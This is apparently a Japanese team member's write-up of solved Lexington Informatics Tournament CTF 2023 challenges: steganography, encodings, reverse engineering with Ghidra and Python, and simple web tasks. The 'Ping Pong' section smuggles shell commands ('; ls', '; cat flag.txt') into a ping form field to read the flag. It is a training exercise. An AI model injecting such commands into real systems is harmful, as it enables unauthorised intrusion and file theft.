Lexington Informatics Tournament CTF 2023 Writeup

この大会は2023/8/6 0:00(JST)~2023/8/8 13:00(JST)に開催されました。
今回もチームで参戦。結果は1808点で641チーム中80位でした。
自分で解けた問題をWriteupとして書いておきます。

HelloWorld (misc)

https://www.geocachingtoolbox.com/index.php?lang=en&page=caesarCipherでROT13にかける。

LITCTF{W3lc0m3_T0_L1TCTF}

kevin (misc)

リンクされているhttp://litctf.org:31788/assets/keevin-af912594.jpegをダウンロードする。

$ zsteg keevin-af912594.jpeg 
imagedata           .. file: MIPSEB Ucode
b1,rgb,lsb,xy       .. text: "LITCTF{3d_printing_is_cool}"
b1,rgba,lsb,xy      .. text: "=Y5__[}S"
b2,b,msb,xy         .. text: "\\F$cFnC&"
b3,b,msb,xy         .. text: "5NWatw@U"
b3,bgr,lsb,xy       .. text: "_D4G6.8,_U"
b4,r,lsb,xy         .. text: "\"\rD3\"#t$Q"
b4,g,lsb,xy         .. text: "WvT5yUUgxi"
b4,b,lsb,xy         .. text: "EC#XD3DC"
b4,b,msb,xy         .. text: "w{@b*={[a"
LITCTF{3d_printing_is_cool}

amogus (misc)

リンクされているhttps://i.ibb.co/02ZcbJm/testing.jpgをダウンロードする。

$ exiftool testing.jpg 
ExifTool Version Number         : 12.57
File Name                       : testing.jpg
Directory                       : .
File Size                       : 176 kB
File Modification Date/Time     : 2023:08:06 08:18:30+09:00
File Access Date/Time           : 2023:08:06 08:19:51+09:00
File Inode Change Date/Time     : 2023:08:06 08:18:30+09:00
File Permissions                : -rwxrwx---
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
JFIF Version                    : 1.01
X Resolution                    : 1
Y Resolution                    : 1
Exif Byte Order                 : Big-endian (Motorola, MM)
Make                            : s0m3t1m3s_th1ngs_4re_n0t_4lw4ys_wh4t_th3y_s33m
Resolution Unit                 : None
Y Cb Cr Positioning             : Centered
Image Width                     : 2560
Image Height                    : 1440
Encoding Process                : Progressive DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:4:4 (1 1)
Image Size                      : 2560x1440
Megapixels                      : 3.7

Makeにフラグが設定されている。

LITCTF{s0m3t1m3s_th1ngs_4re_n0t_4lw4ys_wh4t_th3y_s33m}

Blank and Empty (misc)

https://www.dcode.fr/whitespace-languageでデコードする。

h1d1ng_1n_pl41n_s1ght
LITCTF{h1d1ng_1n_pl41n_s1ght}

rick (rev)

Ghidraでデコンパイルする。

void main(void)

{
  char cVar1;
  int iVar2;
  size_t sVar3;
  long in_FS_OFFSET;
  int local_9c;
  char local_98 [44];
  undefined local_6c;
  char acStack_69 [73];
  long local_20;
  
  local_20 = *(long *)(in_FS_OFFSET + 0x28);
  puts("wat is flag");
  __isoc99_scanf(&DAT_00402010,acStack_69 + 1);
  local_9c = 0;
  while( true ) {
    sVar3 = strlen(acStack_69 + 1);
    if (sVar3 <= (ulong)(long)(local_9c * 2)) break;
    cVar1 = acStack_69[(long)local_9c + 1];
    sVar3 = strlen(acStack_69 + 1);
    acStack_69[(long)local_9c + 1] = acStack_69[sVar3 - (long)local_9c];
    sVar3 = strlen(acStack_69 + 1);
    acStack_69[sVar3 - (long)local_9c] = cVar1;
    local_9c = local_9c + 1;
  }
  memcpy(local_98,rick + 0x14785,0x2c);
  local_6c = 0;
  iVar2 = strcmp(acStack_69 + 1,local_98);
  if (iVar2 == 0) {
    puts("ur right");
  }
  else {
    puts("ur wrong");
  }
  if (local_20 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

                             s_}1l0rkc1r_7xen_3ht_3k4m_4nn0g_7p_00418805     XREF[1,2]:   Entry Point(*), main:004012b3(*), 
                             rick                                                         main:004012c6(*)  
        00404080 0a 28 56        ds         "\n(Verse 1)\nUwU, we're on an owo adventure t
                 65 72 73 
                 65 20 31 
                             //
                             // .bss 
                             // SHT_NOBITS  [0x430081 - 0x430087]
                             // ram:00430081-ram:00430087
                             //
                             _edata                                          XREF[4]:     Entry Point(*), 
                             __bss_start                                                  __do_global_dtors_aux:004011a4(R
                             completed.8061                                               __do_global_dtors_aux:004011b6(W
                                                                                          _elfSectionHeaders::00000690(*)  
        00430081                 undefined1 ??

指定のオフセットにあるデータを逆順にすればよい。

#!/usr/bin/env python3
with open('rick', 'rb') as f:
    data = f.read()

base = 0x3080 + 0x14785

flag = b''
for i in range(0x2c):
    flag += bytes([data[base + i]])

flag = flag[::-1].decode()
print(flag)
LITCTF{ch4tgp7_g0nn4_m4k3_th3_nex7_r1ckr0l1}

obfuscation (rev)

trustの内容を表示させるのに必要な情報をスクリプトに入れ、base64デコードしてコードを表示する。

#!/usr/bin/env python3
from base64 import b64decode
import codecs

love = 'coaDhVvxXpUWcoaDbVyOlMKAmVRA0pzjeDlO0olOkqJy0YvVcPtc0pax6PvNtVPO3nTyfMFOHpaIyBtbtVPNtVPNtVUImMKWsnJ5jqKDtCFOcoaO1qPtvHTkyLKAyVTIhqTIlVUyiqKVtpTSmp3qipzD6VPVcPvNtVPNtVPNtpUWcoaDbVxkiLJEcozphYv4vXD'
god = 'ogICAgICAgIHNsZWVwKDAuNSkKICAgICAgICBwcmludCgiQnVzeSBiYW1ib296bGluZyBzb21lIHNwYW0uLi4iKQogICAgICAgIHNsZWVwKDIpCiAgICAgICAgaWYgdXNlcl9pbnB1dCA9PSBwYXNzd2Q6CiAgICAgICAgICAgIHByaW50KCJOaWNlIG9uZSEiK'
magic = 'ZnJvbSB0aW1lIGltcG9ydCBzbGVlcAoKZmxhZyA9ICJMSVRDVEZ7ZzAwZF9qMGJfdXJfZDFkXzF0fSIKcGFzc3dkID0gInRoaXMgaXMgbm90IGl0LCBidXQgcGxlYXNlIHRyeSBhZ2FpbiEiCgpwcmludCgiV2VsY29tZSB0byB0aGUgZmxhZyBhY2Nlc3MgcG9'
destiny = 'DbtVPNtVPNtVPNtVPOjpzyhqPuzoTSaXDbtVPNtVPNtVTIfp2H6PvNtVPNtVPNtVPNtVUOlnJ50XPWCo3OmYvVcPvNtVPNtVPNtVPNtVUOlnJ50XPWHpaxtLJqunJ4hVvxXMKuwMKO0VRgyrJWiLKWxFJ50MKWlqKO0BtbtVPNtpUWcoaDbVxW5MFRtBv0cVvx='
joy = '\x72\x6f\x74\x31\x33'
trust = eval('\x6d\x61\x67\x69\x63') + eval('\x63\x6f\x64\x65\x63\x73\x2e\x64\x65\x63\x6f\x64\x65\x28\x6c\x6f\x76\x65\x2c\x20\x6a\x6f\x79\x29') + eval('\x67\x6f\x64') + eval('\x63\x6f\x64\x65\x63\x73\x2e\x64\x65\x63\x6f\x64\x65\x28\x64\x65\x73\x74\x69\x6e\x79\x2c\x20\x6a\x6f\x79\x29')
code = b64decode(trust).decode()
print(code)

実行結果は以下の通り。

from time import sleep

flag = "LITCTF{g00d_j0b_ur_d1d_1t}"
passwd = "this is not it, but please try again!"

print("Welcome to the flag access point.")
print("Press Ctrl+C to quit.")

try:
    while True:
        user_input = input("Please enter your password: ")
        print("Loading...")
        sleep(0.5)
        print("Busy bamboozling some spam...")
        sleep(2)
        if user_input == passwd:
            print("Nice one!")
            print(flag)
        else:
            print("Oops.")
            print("Try again.")
except KeyboardInterrupt:
    print("Bye! :-)")
LITCTF{g00d_j0b_ur_d1d_1t}

My boss left (web)

コードからPasswordに以下を指定してログインすればよいことがわかる。

dGhpcyBpcyBzb21lIGdpYmJlcmlzaCB0ZXh0IHBhc3N3b3Jk

ログインすると、フラグが表示された。

LITCTF{oOps_sh0uld_h4v3_us3d_str1ct_c0mp4r1sons}

unsecure (web)

http://litctf.org:31776/welcomeにアクセスすると、ログインページへのリンクがある。問題文にある、クレデンシャル情報でログインする。

$ curl http://litctf.org:31776/login -d 'username=admin&password=password123'
<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="/there_might_be_a_flag_here">/there_might_be_a_flag_here</a>. If not, click the link.

$ curl http://litctf.org:31776/there_might_be_a_flag_here                    
<!DOCTYPE HTML>
<html>
    <head>
        <meta http-equiv="refresh" content="0; url=/ornot">
    </head>
</html>

$ curl http://litctf.org:31776/ornot   
<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="/0k4y_m4yb3_1_l13d">/0k4y_m4yb3_1_l13d</a>. If not, click the link.

$ curl http://litctf.org:31776/0k4y_m4yb3_1_l13d
<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="/unsecure">/unsecure</a>. If not, click the link.

$ curl http://litctf.org:31776/unsecure
<!DOCTYPE HTML>
<html>
    <head>
        <meta http-equiv="refresh" content="0; url=https://en.wikipedia.org/wiki/URL_redirection">
    </head>
</html>

URLのパスにあったリート文字がフラグだった。

LITCTF{0k4y_m4yb3_1_l13d}

Ping Pong (web)

OSコマンドインジェクション。
8.8.8.8; ls と入力してみると、以下の結果。

PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=1 ttl=119 time=1.16 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=119 time=0.812 ms
64 bytes from 8.8.8.8: icmp_seq=3 ttl=119 time=0.811 ms

--- 8.8.8.8 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2024ms
rtt min/avg/max/mdev = 0.811/0.928/1.161/0.164 ms
flag.txt
pingpong.py
run.sh
templates

8.8.8.8; cat flag.txtと入力してみると、以下の結果。

PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=1 ttl=119 time=1.11 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=119 time=0.817 ms
64 bytes from 8.8.8.8: icmp_seq=3 ttl=119 time=0.844 ms

--- 8.8.8.8 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2011ms
rtt min/avg/max/mdev = 0.817/0.923/1.109/0.131 ms
LITCTF{I_sh0uld_b3_m0r3_c4r3ful}
LITCTF{I_sh0uld_b3_m0r3_c4r3ful}

Survey (misc)

アンケートに答えたら、フラグが表示された。

LITCTF{Th4nk5_for_c0m1ng_w3_l0v3_y0u_4nd_s33_u_n3xt_year!}